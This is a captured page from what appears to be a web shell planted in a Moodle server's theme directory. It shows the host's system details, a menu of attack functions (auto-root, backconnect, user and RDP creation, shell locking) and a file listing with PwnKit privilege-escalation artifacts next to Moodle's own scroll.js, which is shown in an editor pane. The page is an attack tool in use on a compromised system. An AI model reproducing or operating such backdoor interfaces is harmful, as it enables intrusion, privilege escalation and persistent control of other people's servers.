Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
theme /
boost /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
aria.js
9.25
KB
-rwxrwxrwx
drawer.js
7.07
KB
-rwxrwxrwx
form-display-errors.js
5.4
KB
-rwxrwxrwx
loader.js
2.83
KB
-rwxrwxrwx
pending.js
2.82
KB
-rwxrwxrwx
popover.js
973
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
scroll.js
2.1
KB
-rwxrwxrwx
toast.js
963
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scroll.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Manage user scroll in Moodle for future floating elements. * * @copyright 2020 Ferran Recio <ferran@moodle.org> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Moodle scroll handling. For now it just handle a "scrolled" class * on the body tag but in the near future could handle more floating * elements like option bars, docked elements or other active elements. * * @class MoodleScroll */ export default class MoodleScroll { /** * Initialise the scroll monitoring. * * @method init * @chainable * @return {Object} this. */ init() { this.scrollY = 0; window.addEventListener("scroll", this.scrollHandler.bind(this)); return this; } /** * Add special classes to body depending on scroll position. * * @method update * @chainable * @return {Integer} current scroll position. */ getScrollPosition() { return window.pageYOffset || document.documentElement.scrollTop; } /** * Add special classes to body depending on scroll position. * * @method update * @chainable */ scrollHandler() { const body = document.querySelector('body'); const scrollY = this.getScrollPosition(); if (scrollY >= window.innerHeight) { body.classList.add('scrolled'); } else { body.classList.remove('scrolled'); } } }
Close